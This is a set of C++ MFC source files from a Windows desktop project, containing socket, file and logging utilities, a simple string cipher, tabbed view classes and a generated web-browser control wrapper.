    if(str.Right(1) != '\\' && *lpszFileName!='\\')


        str += '\\';


    str += lpszFileName;


    return str;


}





UINT CStaticFunctions::Savelog(LPVOID param)


{


    CFileException e;


    CString str;


    m_LogSection.Lock();





    BOOL bResult=m_LogFile.Open("d:\\pt.txt",CFile::modeWrite|CFile::modeCreate|CFile::modeNoTruncate|CFile::typeText) ;


    if (!bResult)


    {


        return 0;


    }


    CTime t=CTime::GetCurrentTime();


    CString strWrite;


    strWrite.Format("[%04d-%02d-%02d %02d:%02d:%02d]--%s\n",\


    t.GetYear(),t.GetMonth(),t.GetDay(),t.GetHour(),t.GetMinute(),t.GetSecond(),param);


    m_LogFile.SeekToEnd();


    m_LogFile.WriteString(strWrite);


    m_LogFile.Close();





    m_LogSection.Unlock();


    return 1;   


}





CString CStaticFunctions::GetPathPathName(CString strPath)


{


    //获取文件路径：


    CString str;


    int n=strPath.ReverseFind('\\')+1;


    str=strPath.Left(n);


    return str;


}





BOOL CStaticFunctions::RecvData(SOCKET sock, char *buffer, int bufferLen)


{


    int startPos;


    int ret;


    startPos=0;


    CString xx;


    while(bufferLen>0)


    {


        ret=recv(sock,buffer+startPos,bufferLen,0);


    


        if(ret==0)


            break;


        if(ret==SOCKET_ERROR)


        {


            if(WSAGetLastError()==WSAEWOULDBLOCK)


            {


                Sleep(50);


                continue;


            }


            xx.Format("%d",WSAGetLastError());


        //  AfxMessageBox(xx);


            return FALSE;


            


        }


        startPos+=ret;


        bufferLen-=ret;


    }


    return bufferLen==0;


}





BOOL CStaticFunctions::SendData(SOCKET sock, char *buffer, int bufferLen)


{





    int startPos;


    int ret;


    startPos=0;





    while(bufferLen>0)


    {


        ret=send(sock,buffer+startPos,bufferLen,0);


        if(ret==0)


            break;


        if(ret==SOCKET_ERROR)


        {


        


            if(WSAGetLastError()==WSAEWOULDBLOCK)


            {


                Sleep(50);


                continue;


            }   





            return FALSE;


        


        }


        startPos+=ret;


        bufferLen-=ret;


    }


    return bufferLen==0;











}





BOOL CStaticFunctions::SendRemoteCommand(SOCKET sc,DWORD dwmsgid, DWORD dwparam)


{


    //开始发送远程桌面连接命令


    BOOL bRet=TRUE;


    return bRet;


    //返回值,是否发送命令成功


}





int CStaticFunctions::GetFileSize(CString path)


{


    WIN32_FIND_DATA fileInfo; 


    HANDLE hFind; 


    DWORD filesize; 


    hFind=FindFirstFile(path.GetBuffer(0) ,&fileInfo); 


    if(hFind != INVALID_HANDLE_VALUE) 


        filesize = fileInfo.nFileSizeLow; 


    FindClose(hFind);


    return filesize;


}














CString CStaticFunctions::GetCurrentTimeStr()


{


    //得到当前上线时间


    CTime tm;


    CString strtm;


    tm=CTime::GetCurrentTime();   


    strtm=tm.Format("%Y-%m-%d-%H-%M-%S");


    return strtm;


}





CString CStaticFunctions::Encrypt_KnownKey(CString S, WORD Key)


{


    CString Result,str;


    int i,j;


    


    Result=S; // 初始化结果字符串


    for(i=0; i<S.GetLength(); i++) // 依次对字符串中各字符进行操作


    {


        Result.SetAt(i, S.GetAt(i)^(Key>>8)); // 将密钥移位后与字符异或


        Key = ((BYTE)Result.GetAt(i)+Key)*C1+C2; // 产生下一个密钥


    }


    S=Result; // 保存结果


    Result.Empty(); // 清除结果


    for(i=0; i<S.GetLength(); i++) // 对加密结果进行转换


    {


        j=(BYTE)S.GetAt(i); // 提取字符


        // 将字符转换为两个字母保存


        str="12"; // 设置str长度为2


        str.SetAt(0, 65+j/26);


        str.SetAt(1, 65+j%26);


        Result += str;


    }


    return Result;


}





CString CStaticFunctions::Decode_KnownKey(CString S, WORD Key)


{


    CString Result,str;


    int i,j;


    


    Result.Empty(); // 清楚结果


    for(i=0; i < S.GetLength()/2; i++) // 将字符串两个字母一组进行处理


    {


        j = ((BYTE)S.GetAt(2*i)-65)*26;


        j += (BYTE)S.GetAt(2*i+1)-65;


        str="1"; // 设置str长度为1


        str.SetAt(0, j);


        Result+=str; // 追加字符，还原字符串


    }


    S=Result; // 保存中间结果


    for(i=0; i<S.GetLength(); i++) // 依次对字符串中各字符进行操作


    {


        Result.SetAt(i, (BYTE)S.GetAt(i)^(Key>>8)); // 将密钥移位后与字符异或


        Key = ((BYTE)S.GetAt(i)+Key)*C1+C2; // 产生下一个密钥


    }


    return Result;





}

















BOOL CStaticFunctions::MakeSureDirectoryPathExists(LPCTSTR lpszDirPath)


{


    CString strDirPath = lpszDirPath;


    


    int nPos = 0;


    


    while((nPos = strDirPath.Find('\\', nPos+1)) != -1) 


    {


        CreateDirectory(strDirPath.Left(nPos), NULL);


    }


    return CreateDirectory(strDirPath, NULL);


}











void CStaticFunctions::DoEvents()


{


    MSG msg;


    


    // window message         


    while (PeekMessage(&msg,NULL,NULL,NULL,PM_REMOVE))         


    {            


        TranslateMessage(&msg);            


        DispatchMessage(&msg);         


    }      


}











BOOL  CStaticFunctions::FileExists(LPCTSTR lpszFileName, BOOL bIsDirCheck)


{


    // A quick'n'easy way to see if a file exists.


    DWORD dwAttributes = GetFileAttributes(lpszFileName);


    if (dwAttributes == 0xFFFFFFFF)


        return FALSE;


    


    if ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)


    {


        if (bIsDirCheck)


            return TRUE;


        else


            return FALSE;


    }


    else


    {


        if (!bIsDirCheck)


            return TRUE;


        else


            return FALSE;


    }


}











CString CStaticFunctions::GetFileDate(CFileFind &find)


{


    CString strResult;


    


    CTime time = CTime::GetCurrentTime();


    


    find.GetLastWriteTime(time);


    


    CTimeSpan timeSpan = CTime::GetCurrentTime() - time;


    


    if (timeSpan.GetDays() > 356)


    {


        strResult = time.Format(" %b %d %Y ");


    }


    else


    {


        strResult.Format(" %s %02d:%02d ", time.Format("%b %d"), time.GetHour(), time.GetMinute());


    }


    return strResult;


}














BOOL CStaticFunctions::WaitWithMessageLoop(HANDLE hEvent, int nTimeout)


{   


    DWORD dwRet;


    


    while (1)


    {


        // wait for event or message, if it's a message, process it and return to waiting state


        dwRet = MsgWaitForMultipleObjects(1, &hEvent, FALSE, nTimeout, QS_ALLINPUT);


        if (dwRet == WAIT_OBJECT_0)


        {


            TRACE0("WaitWithMessageLoop() event triggered.\n");


            return TRUE;      


        }   


        else


            if (dwRet == WAIT_OBJECT_0 + 1)


            {


                // process window messages


                AfxGetApp()->PumpMessage();


            }  


            else


                if (dwRet == WAIT_TIMEOUT)


                {


                    // timed out !


                    return FALSE;


                }


                else


                {


                    // WAIT_ABANDONED_0 ...


                    return TRUE;


                }


    }


}
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// StaticFunctions.h: interface for the CStaticFunctions class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_STATICFUNCTIONS_H__495BA67D_B026_4EB6_857B_AA360BAB1F25__INCLUDED_)
#define AFX_STATICFUNCTIONS_H__495BA67D_B026_4EB6_857B_AA360BAB1F25__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <WinSock2.h>
#include   <afxmt.h>
#define C1 52845
#define C2 22719

class CStaticFunctions
{
public:
	static CString Decode_KnownKey(CString S, WORD Key);
	static CString Encrypt_KnownKey(CString S, WORD Key);
	static int GetFileSize(CString path);
	static BOOL SendRemoteCommand(SOCKET sc,DWORD dwmsgid,DWORD  dwparam);
	static	BOOL SendData(SOCKET sock, char *buffer, int bufferLen);
	static	BOOL RecvData(SOCKET sock, char *buffer, int bufferLen);
	static CString GetPathPathName(CString strPath);
	//记录日志
	static UINT  Savelog(LPVOID param);
	//获得系统应用程序安装目录
	static void GetProgramFileDir(CString& strDir);
	//获得windows系统安装目录
	static void GetWindowDir(CString& strDir);
	//获得系统安装的盘符
	static void GetWindowDisk(CString& strDisk);
	//给指定对话框设置标题
	static void SetStaticText(CDialog* pDlg,UINT nID,LPCTSTR strText);
	//得到正在运行程序当前的文件目录
	static void GetWorkPath(CString& strPath);

	static int IsInStringArrayNoCase(const CStringArray &strArr, const CString &str);
	static int IsInStringArray(const CStringArray & strArr,const CString& str);
	//指定路径是否存在
	static BOOL IsPathExist(LPCTSTR strPath);
	//指定文件是否存在
	static BOOL IsFileExist(LPCTSTR strFileName);
	//创建目录
	static BOOL CreatePath(LPCTSTR strPath);
	
	//得到指定文件的扩展名
	static BOOL GetFileExt(CString strFilename,CString &strExt);		
	//把超长的64位整数转换成字符串
	static CString GetLONGLONGString(LONGLONG llValue);
	//联合路径和文件名
	static CString CombineFilePath(LPCTSTR lpszPathName, LPCTSTR lpszFileName);
	//取指定路径中的文件名
	static CString ParseFileName(CString strPathFullName);
	//把形如c:\windows\1~这样的短文件名复原成长文件名
	static CString ShortPathToLong(LPCTSTR strPath);
	//把长文件名转换成短文件名
	static CString LongPathToShort(LPCTSTR strPath);
	
	//获得完整文件路径中的文件名
	static CString GetPathFileName(CString strPath);
	//获得字符串格式时间
	static CString  GetCurrentTimeStr();

	///////////////////////FTP专用函数////////////////////////////////////////////////
	//目录是否存在
	static BOOL MakeSureDirectoryPathExists(LPCTSTR lpszDirPath);
	//ftp专用循环
	static void DoEvents();
	//文件是否存在
	static BOOL FileExists(LPCTSTR lpszFileName, BOOL bIsDirCheck);
	//得到文件日期
	static CString GetFileDate(CFileFind &find);
	static BOOL WaitWithMessageLoop(HANDLE hEvent, int nTimeout);
	CStaticFunctions ();
	virtual ~CStaticFunctions ();
	static CCriticalSection m_LogSection;
	//日志文件全局变量
	static CStdioFile m_LogFile;
};

#endif // !defined(AFX_STATICFUNCTIONS_H__495BA67D_B026_4EB6_857B_AA360BAB1F25__INCLUDED_)








源码/StdAfx.cpp


??/StdAfx.cpp

// stdafx.cpp : source file that includes just the standard includes


//  7QW.pch will be the pre-compiled header


//  stdafx.obj will contain the pre-compiled type information





#include "stdafx.h"
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// stdafx.h : include file for standard system include files,
//  or project specific include files that are used frequently, but
//      are changed infrequently
//

#if !defined(AFX_STDAFX_H__5CBDFDDA_89C8_4E0E_84BE_4EF29216E627__INCLUDED_)
#define AFX_STDAFX_H__5CBDFDDA_89C8_4E0E_84BE_4EF29216E627__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#define VC_EXTRALEAN		// Exclude rarely-used stuff from Windows headers

#include <afxwin.h>         // MFC core and standard components
#include <afxext.h>         // MFC extensions
#include <afxdisp.h>        // MFC Automation classes
#include <afxdtctl.h>		// MFC support for Internet Explorer 4 Common Controls
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h>			// MFC support for Windows Common Controls
#endif // _AFX_NO_AFXCMN_SUPPORT
#include "macros.h"
//#pragma warning( disable: 4786)
#pragma warning( disable: 4089)
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_STDAFX_H__5CBDFDDA_89C8_4E0E_84BE_4EF29216E627__INCLUDED_)
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??/TopSheet.cpp

// TopSheet.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "TopSheet.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CTopSheet





IMPLEMENT_DYNAMIC(CTopSheet, CPropertySheet)


CTopSheet::CTopSheet()


{


    


}


CTopSheet::CTopSheet(UINT nIDCaption, CWnd* pParentWnd, UINT iSelectPage)


    :CPropertySheet(nIDCaption, pParentWnd, iSelectPage)


{


}





CTopSheet::CTopSheet(LPCTSTR pszCaption, CWnd* pParentWnd, UINT iSelectPage)


    :CPropertySheet(pszCaption, pParentWnd, iSelectPage)


{


}





CTopSheet::~CTopSheet()


{


}








BEGIN_MESSAGE_MAP(CTopSheet, CPropertySheet)


    //{{AFX_MSG_MAP(CTopSheet)


        // NOTE - the ClassWizard will add and remove mapping macros here.


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CTopSheet message handlers








源码/TopSheet.h

#if !defined(AFX_TOPSHEET_H__1FA37D51_C970_4935_9C2B_0BF592FBD46E__INCLUDED_)
#define AFX_TOPSHEET_H__1FA37D51_C970_4935_9C2B_0BF592FBD46E__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// TopSheet.h : header file
//

/////////////////////////////////////////////////////////////////////////////
// CTopSheet

class CTopSheet : public CPropertySheet
{
	DECLARE_DYNAMIC(CTopSheet)

// Construction
public:
	CTopSheet::CTopSheet();
	CTopSheet(UINT nIDCaption, CWnd* pParentWnd = NULL, UINT iSelectPage = 0);
	CTopSheet(LPCTSTR pszCaption, CWnd* pParentWnd = NULL, UINT iSelectPage = 0);

// Attributes
public:

// Operations
public:

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CTopSheet)
	//}}AFX_VIRTUAL

// Implementation
public:
	virtual ~CTopSheet();

	// Generated message map functions
protected:
	//{{AFX_MSG(CTopSheet)
		// NOTE - the ClassWizard will add and remove member functions here.
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_TOPSHEET_H__1FA37D51_C970_4935_9C2B_0BF592FBD46E__INCLUDED_)








源码/TopView.cpp


源码/TopView.cpp

// TopView.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "TopView.h"


#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CTopView





IMPLEMENT_DYNCREATE(CTopView, CView)





CTopView::CTopView()


{


}





CTopView::~CTopView()


{


}








BEGIN_MESSAGE_MAP(CTopView, CView)


    //{{AFX_MSG_MAP(CTopView)


    ON_WM_CREATE()


    ON_WM_SIZE()


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CTopView drawing





void CTopView::OnDraw(CDC* pDC)


{


    CDocument* pDoc = GetDocument();


    // TODO: add draw code here


}





/////////////////////////////////////////////////////////////////////////////


// CTopView diagnostics





#ifdef _DEBUG


void CTopView::AssertValid() const


{


    CView::AssertValid();


}





void CTopView::Dump(CDumpContext& dc) const


{


    CView::Dump(dc);


}


#endif //_DEBUG





/////////////////////////////////////////////////////////////////////////////


// CTopView message handlers





int CTopView::OnCreate(LPCREATESTRUCT lpCreateStruct) 


{


    if (CView::OnCreate(lpCreateStruct) == -1)


        return -1;


    


    // TODO: Add your specialized creation code here


    CRect rect(0,0,800,580);


    m_wndSheet.AddPage(&m_wndPage1);


    m_wndSheet.AddPage(&m_wndPage2);


    m_wndSheet.AddPage(&m_wndPage3);


    m_wndSheet.AddPage(&m_wndPage4);





    


    m_wndSheet.Create(this,WS_CHILD|WS_VISIBLE,0); 


    m_wndSheet.ModifyStyleEx(0,WS_TABSTOP);


    m_wndSheet.SetWindowPos(NULL,0,0,rect.Width(),rect.Height(),SWP_NOACTIVATE);


    CTabCtrl* m_tabctrl=m_wndSheet.GetTabControl( );


    m_tabctrl->SetWindowPos(NULL,0,0,rect.right-rect.left,rect.bottom-rect.top,SWP_NOACTIVATE);


    


    //因为addpage之后,各page页面并没真正地被创建


    //只在被激活后,page才被创建


    //所以,在这里先激活每个页面,然后复位到0号页面


    


    for(int i=0;i<m_wndSheet.GetPageCount();i++)


        m_wndSheet.SetActivePage(i);


    m_wndSheet.SetActivePage(0);


    


    return 0;


}





void CTopView::OnSize(UINT nType, int cx, int cy) 


{


    CView::OnSize(nType, cx, cy);


    


    // TODO: Add your message handler code here


    m_wndSheet.SetWindowPos(NULL,0,0,cx,cy,SWP_NOACTIVATE);


    CTabCtrl* m_tabctrl= m_wndSheet.GetTabControl( );


    m_tabctrl->SetWindowPos(NULL,0,0,cx,cy,NULL);


    m_wndSheet.SetActivePage( m_wndSheet.GetActiveIndex());


}





CFun1LeftView * CTopView::GetFun1LeftViewFromPage()


{


    return m_wndPage1.GetFun1LeftView();


}





CFun1RightView * CTopView::GetFun1RightViewFromPage()


{


    return m_wndPage1.GetFun1RightView();


}
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#if !defined(AFX_TOPVIEW_H__BC450030_0184_4C02_8EF4_4674BD5DEC87__INCLUDED_)
#define AFX_TOPVIEW_H__BC450030_0184_4C02_8EF4_4674BD5DEC87__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// TopView.h : header file
//

#include "Fun1Dlg.h"
#include "Fun2Dlg.h"
#include "Fun3Dlg.h"
#include "Fun4Dlg.h"
#include "TopSheet.h"
/////////////////////////////////////////////////////////////////////////////
// CTopView view

class CTopView : public CView
{
protected:
	CTopView();           // protected constructor used by dynamic creation
	DECLARE_DYNCREATE(CTopView)

// Attributes
public:

// Operations
public:
	CFun1RightView * GetFun1RightViewFromPage();
	CFun1LeftView * GetFun1LeftViewFromPage();
	CFun1Dlg m_wndPage1;
	CFun2Dlg m_wndPage2;
	CFun3Dlg m_wndPage3;
	CFun4Dlg m_wndPage4;
	CTopSheet m_wndSheet;
// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CTopView)
	protected:
	virtual void OnDraw(CDC* pDC);      // overridden to draw this view
	//}}AFX_VIRTUAL

// Implementation
protected:
	virtual ~CTopView();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

	// Generated message map functions
protected:
	//{{AFX_MSG(CTopView)
	afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
	afx_msg void OnSize(UINT nType, int cx, int cy);
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_TOPVIEW_H__BC450030_0184_4C02_8EF4_4674BD5DEC87__INCLUDED_)
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??/webbrowser2.cpp

// Machine generated IDispatch wrapper class(es) created by Microsoft Visual C++





// NOTE: Do not modify the contents of this file.  If this class is regenerated by


//  Microsoft Visual C++, your modifications will be overwritten.








#include "stdafx.h"


#include "webbrowser2.h"





/////////////////////////////////////////////////////////////////////////////


// CWebBrowser2





IMPLEMENT_DYNCREATE(CWebBrowser2, CWnd)





/////////////////////////////////////////////////////////////////////////////


// CWebBrowser2 properties





/////////////////////////////////////////////////////////////////////////////


// CWebBrowser2 operations





void CWebBrowser2::GoBack()


{


    InvokeHelper(0x64, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);


}





void CWebBrowser2::GoForward()


{


    InvokeHelper(0x65, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);


}





void CWebBrowser2::GoHome()


{


    InvokeHelper(0x66, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);


}





void CWebBrowser2::GoSearch()


{


    InvokeHelper(0x67, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);


}





void CWebBrowser2::Navigate(LPCTSTR URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers)


{


    static BYTE parms[] =


        VTS_BSTR VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT;


    InvokeHelper(0x68, DISPATCH_METHOD, VT_EMPTY, NULL, parms,


         URL, Flags, TargetFrameName, PostData, Headers);


}





void CWebBrowser2::Refresh()


{


    InvokeHelper(DISPID_REFRESH, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);


}





void CWebBrowser2::Refresh2(VARIANT* Level)


{


    static BYTE parms[] =


        VTS_PVARIANT;


    InvokeHelper(0x69, DISPATCH_METHOD, VT_EMPTY, NULL, parms,


         Level);


}





void CWebBrowser2::Stop()


{


    InvokeHelper(0x6a, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);


}





LPDISPATCH CWebBrowser2::GetApplication()


{


    LPDISPATCH result;


    InvokeHelper(0xc8, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);


    return result;


}





LPDISPATCH CWebBrowser2::GetParent()


{


    LPDISPATCH result;


    InvokeHelper(0xc9, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);


    return result;


}





LPDISPATCH CWebBrowser2::GetContainer()


{


    LPDISPATCH result;


    InvokeHelper(0xca, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);


    return result;


}





LPDISPATCH CWebBrowser2::GetDocument()


{


    LPDISPATCH result;


    InvokeHelper(0xcb, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);


    return result;


}





BOOL CWebBrowser2::GetTopLevelContainer()


{


    BOOL result;


    InvokeHelper(0xcc, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





CString CWebBrowser2::GetType()


{


    CString result;


    InvokeHelper(0xcd, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);


    return result;


}





long CWebBrowser2::GetLeft()


{


    long result;


    InvokeHelper(0xce, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetLeft(long nNewValue)


{


    static BYTE parms[] =


        VTS_I4;


    InvokeHelper(0xce, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         nNewValue);


}





long CWebBrowser2::GetTop()


{


    long result;


    InvokeHelper(0xcf, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetTop(long nNewValue)


{


    static BYTE parms[] =


        VTS_I4;


    InvokeHelper(0xcf, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         nNewValue);


}





long CWebBrowser2::GetWidth()


{


    long result;


    InvokeHelper(0xd0, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetWidth(long nNewValue)


{


    static BYTE parms[] =


        VTS_I4;


    InvokeHelper(0xd0, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         nNewValue);


}





long CWebBrowser2::GetHeight()


{


    long result;


    InvokeHelper(0xd1, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetHeight(long nNewValue)


{


    static BYTE parms[] =


        VTS_I4;


    InvokeHelper(0xd1, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         nNewValue);


}





CString CWebBrowser2::GetLocationName()


{


    CString result;


    InvokeHelper(0xd2, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);


    return result;


}





CString CWebBrowser2::GetLocationURL()


{


    CString result;


    InvokeHelper(0xd3, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);


    return result;


}





BOOL CWebBrowser2::GetBusy()


{


    BOOL result;


    InvokeHelper(0xd4, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::Quit()


{


    InvokeHelper(0x12c, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);


}





void CWebBrowser2::ClientToWindow(long* pcx, long* pcy)


{


    static BYTE parms[] =


        VTS_PI4 VTS_PI4;


    InvokeHelper(0x12d, DISPATCH_METHOD, VT_EMPTY, NULL, parms,


         pcx, pcy);


}





void CWebBrowser2::PutProperty(LPCTSTR Property_, const VARIANT& vtValue)


{


    static BYTE parms[] =


        VTS_BSTR VTS_VARIANT;


    InvokeHelper(0x12e, DISPATCH_METHOD, VT_EMPTY, NULL, parms,


         Property_, &vtValue);


}





VARIANT CWebBrowser2::GetProperty_(LPCTSTR Property_)


{


    VARIANT result;


    static BYTE parms[] =


        VTS_BSTR;


    InvokeHelper(0x12f, DISPATCH_METHOD, VT_VARIANT, (void*)&result, parms,


        Property_);


    return result;


}





CString CWebBrowser2::GetName()


{


    CString result;


    InvokeHelper(0x0, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);


    return result;


}





long CWebBrowser2::GetHwnd()


{


    long result;


    InvokeHelper(DISPID_HWND, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);


    return result;


}





CString CWebBrowser2::GetFullName()


{


    CString result;


    InvokeHelper(0x190, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);


    return result;


}





CString CWebBrowser2::GetPath()


{


    CString result;


    InvokeHelper(0x191, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);


    return result;


}





BOOL CWebBrowser2::GetVisible()


{


    BOOL result;


    InvokeHelper(0x192, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetVisible(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x192, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetStatusBar()


{


    BOOL result;


    InvokeHelper(0x193, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetStatusBar(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x193, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





CString CWebBrowser2::GetStatusText()


{


    CString result;


    InvokeHelper(0x194, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetStatusText(LPCTSTR lpszNewValue)


{


    static BYTE parms[] =


        VTS_BSTR;


    InvokeHelper(0x194, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         lpszNewValue);


}





long CWebBrowser2::GetToolBar()


{


    long result;


    InvokeHelper(0x195, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetToolBar(long nNewValue)


{


    static BYTE parms[] =


        VTS_I4;


    InvokeHelper(0x195, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         nNewValue);


}





BOOL CWebBrowser2::GetMenuBar()


{


    BOOL result;


    InvokeHelper(0x196, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetMenuBar(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x196, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetFullScreen()


{


    BOOL result;


    InvokeHelper(0x197, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetFullScreen(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x197, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





void CWebBrowser2::Navigate2(VARIANT* URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers)


{


    static BYTE parms[] =


        VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT;


    InvokeHelper(0x1f4, DISPATCH_METHOD, VT_EMPTY, NULL, parms,


         URL, Flags, TargetFrameName, PostData, Headers);


}





long CWebBrowser2::QueryStatusWB(long cmdID)


{


    long result;


    static BYTE parms[] =


        VTS_I4;


    InvokeHelper(0x1f5, DISPATCH_METHOD, VT_I4, (void*)&result, parms,


        cmdID);


    return result;


}





void CWebBrowser2::ExecWB(long cmdID, long cmdexecopt, VARIANT* pvaIn, VARIANT* pvaOut)


{


    static BYTE parms[] =


        VTS_I4 VTS_I4 VTS_PVARIANT VTS_PVARIANT;


    InvokeHelper(0x1f6, DISPATCH_METHOD, VT_EMPTY, NULL, parms,


         cmdID, cmdexecopt, pvaIn, pvaOut);


}





void CWebBrowser2::ShowBrowserBar(VARIANT* pvaClsid, VARIANT* pvarShow, VARIANT* pvarSize)


{


    static BYTE parms[] =


        VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT;


    InvokeHelper(0x1f7, DISPATCH_METHOD, VT_EMPTY, NULL, parms,


         pvaClsid, pvarShow, pvarSize);


}





long CWebBrowser2::GetReadyState()


{


    long result;


    InvokeHelper(DISPID_READYSTATE, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);


    return result;


}





BOOL CWebBrowser2::GetOffline()


{


    BOOL result;


    InvokeHelper(0x226, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetOffline(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x226, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetSilent()


{


    BOOL result;


    InvokeHelper(0x227, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetSilent(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x227, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetRegisterAsBrowser()


{


    BOOL result;


    InvokeHelper(0x228, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetRegisterAsBrowser(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x228, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetRegisterAsDropTarget()


{


    BOOL result;


    InvokeHelper(0x229, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetRegisterAsDropTarget(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


